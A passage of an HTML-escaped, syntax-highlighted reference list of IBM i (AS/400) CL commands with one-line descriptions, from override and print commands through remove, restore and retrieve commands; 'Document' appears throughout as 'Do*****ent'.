File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOVRPRTF Override with Printer File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOVRSAVF Override with Save File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOVRTAPF Override with Tape File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARM Parameter Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePGM Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePING Verify TCP/IP Connection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePMTCTL Prompt Control Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePOSDBF Position Data Base File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTACTRPT Print Activity Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTADPOBJ Print Adopting Objects\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTAFPDTA Print AFP Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTCMDUSG Print Command Usage\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTCMNSEC Print Communications Security\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTCMNTRC Print Communications Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTCPTRPT Print Component Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTDEVADR Print Device Addresses\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTDOC Print Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTDSKINF Print Disk Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTERRLOG Print Error Log\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTINTDTA Print Internal Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTIPSCFG Print IP over SNA\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTJOBDAUT Print JOBD Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTJOBRPT Print Job Interval Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTJOBTRC Print Job Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTLCKRPT Print Lock Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTPEXRPT Print PEX Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTPOLRPT Print Pool Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTPUBAUT Print Publicly Auth Objects\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTPVTAUT Print Private Authorities\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTQAUT Print Queue Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTRSCRPT Print Resource Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTSBSDAUT Print Subsystem Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTSCDJS Print Schedule using JS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTSQLINF Print SQL Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTSWL Print Stop Word List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTSYSINF Print System Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTSYSRPT Print System Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTSYSSECA Print System Security Attr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTTNSRPT Print Transaction Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTTRCRPT Print Job Trace Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTTRGPGM Print Trigger Programs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTUSROBJ Print User Objects\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePRTUSRPRF Print User Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePWRDWNSYS Power Down System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eQMUS36 System/36 Command Selection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eQPZA000844 Send Distribution\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eQRYDOCLIB Query Do*****ent Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eQRYDST Query Distributions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eQRYPRBSTS Query Problem Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eQRYTIEF Query TIE Files\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eQUAL Qualifier Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCLACTGRP Reclaim Activation Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCLDDMCNV Reclaim DDM Conversations\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCLDLO Reclaim Do*****ent Lib Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCLLIB Reclaim Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCLOPT Reclaim Optical\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCLRSC Reclaim Resources\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCLSPLSTG Reclaim Spool Storage\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCLSTG Reclaim Storage\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCLTMPSTG Reclaim Temporary Storage\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCVDST Receive Distribution\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCVF Receive File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCVJRNE Receive Journal Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCVMGRDTA Receive Migration Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCVMSG Receive Message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCVNETF Receive Network File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCVTIEF Receive TIE File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRD Remove Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eREADFILE Read a File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eREN Rename Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRESMGRNAM no discription\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRETURN Return\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRGZDLO Reorganize Do*****ent Lib Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRGZPFM Reorganize Physical File Mbr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRLSCMNDEV Release Communications Device\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRLSDSTQ Release Distribution Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRLSIFSLCK Release File System Locks\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRLSJOB Release Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRLSJOBQ Release Job Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRLSJOBSCDE Release Job Schedule Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRLSOUTQ Release Output Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRLSRDR Release Reader\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRLSRMTPHS Release Remote Phase\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRLSSPLF Release Spooled File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRLSWTR Release Writer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMDIR Remove Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVACC Remove Access Code\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVAJE Remove Autostart Job Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVALRD Remove Alert Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVAUTLE Remove Auth List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVBKP Remove Breakpoint\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVBNDDIRE Remove Binding Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVCCTRTE Remove Circuit Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVCCTSRV Remove Circuit Service\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVCFGLE Remove Cfg List Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVCMNE Remove Communications Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVCNNLE Remove Connection List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVCOMSNMP Remove Community for SNMP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVDIR Remove Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVDIRE Remove Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVDIRSHD Remove Directory Shadow System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVDLOAUT Remove DLO Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVDSTLE Remove Distribution List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVDSTQ Remove Distribution Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVDSTRTE Remove Distribution Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVDSTSYSN Remove Secondary System Name\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVEMLCFGE Remove Configuration Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVEWCBCDE Remove EWC Barcode Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVEWCPTCE Remove EWC PTC Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVEXITPGM Remove Exit Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVFCTE Remove Forms Control Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVFTRACNE Remove Filter Action Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVFTRSLTE Remove Filter Selection Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVICFDEVE Remove ICF Device Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVIPIADR Remove IP over IPX Address\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVIPIIFC Remove IP over IPX Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVIPIRTE Remove IP over IPX Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVIPSIFC Remove IP over SNA Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVIPSLOC Remove IP over SNA Location\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVIPSRTE Remove IP over SNA Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVIPXCCT Remove IPX Circuit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVJOBQE Remove Job Queue Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVJOBSCDE Remove Job Schedule Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVJRNCHG Remove Journaled Changes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVLANADPI Remove LAN Adapter Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVLANADPT Remove LAN Adapter\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVLIBLE Remove Library List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVLICKEY Remove License Key Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVLNK Remove Link\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVM Remove Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVMFS Remove Mounted FS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVMSG Remove Message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVMSGD Remove Message Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVNCK Remove Nickname\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVNETJOBE Remove Network Job Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVNETTBLE Remove Network Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVNODLE Remove Node List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVNWSSTGL Remove Server Storage Link\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVOPTCTG Remove Optical Cartridge\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVOPTSVR Remove Optical Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVPCLTBLE Remove Protocol Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVPEXDFN Remove PEX Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVPFCST Remove PF Constraint\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVPFTRG Remove Physical File Trigger\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVPGM Remove Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVPJE Remove Prestart Job Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVPTF Remove Program Temporary Fix\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVRDBDIRE Remove RDB Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVREXBUF Remove REXX Buffer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVRJECMNE Remove RJE Communication Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVRJERDRE Remove RJE Reader Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVRJEWTRE Remove RJE Writer Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVRMTDFN Remove Remote Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVRPYLE Remove Reply List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVRTGE Remove Routing Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVSCHIDXE Remove Search Index Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVSNILOC Remove SNA over IPX Location\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVSOCE Remove Sphere of Control Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVSRVTBLE Remove Service Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVTAPCTG Remove Tape Cartridge\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVTCPHTE Remove TCP/IP Host Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVTCPIFC Remove TCP/IP Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVTCPLNK Remove TCP/IP Link\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVTCPPORT Remove TCP/IP Port Restriction\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVTCPRSI Remove TCP/IP Remote System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVTCPRTE Remove TCP/IP Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVTRC Remove Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRMVWSE Remove Work Station Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRNM Rename Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRNMCNNLE Rename Connection List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRNMDIRE Rename Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRNMDKT Rename Diskette\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRNMDLO Rename Do*****ent Library Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRNMDSTL Rename Distribution List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRNMLANADPI Rename LAN Adapter\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRNMM Rename Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRNMNCK Rename Nickname\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRNMOBJ Rename Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRNMTCPHTE Rename TCP/IP Host Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eROLLBACK Rollback\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRPLDOC Replace Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRQSORDAST Request Order Assistance\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRRTJOB Reroute Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSMBKP Resume Breakpoint\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSMCTLRCY Resume Controller Recovery\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSMDEVRCY Resume Device Recovery\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSMLINRCY Resume Line Recovery\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSMNWIRCY Resume NWI Recovery\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRST Restore Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTAUT Restore Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTCFG Restore Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTDLO Restore Do*****ent Lib Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTLIB Restore Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTLICPGM Restore Licensed Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTOBJ Restore Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTS36F Restore S/36 File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTS36FLR Restore S/36 Folder\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTS36LIBM Restore S/36 Library Members\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTS38AUT Restore S/38 Authorities\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTSHF Restore Bookshelf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRSTUSRPRF Restore User Profiles\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVAUTLE Retrieve Auth List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVBCKUP Retrieve Backup Options\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVBNDSRC Retrieve Binder Source\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVCFGSRC Retrieve Configuration Source\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVCFGSTS Retrieve Configuration Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVCLDSRC Retrieve C Locale Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVCLNUP Retrieve Cleanup\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVCLSRC Retrieve CL Source\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVCURDIR Retrieve Current Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVDLOAUT Retrieve DLO Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVDLONAM Retrieve DLO Name\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVDOC Retrieve Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVDSKINF Retrieve Disk Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRTVDTAARA Retrieve Data Area\n\u003c/span\u003e\u003c/span\u003e\u003cspan 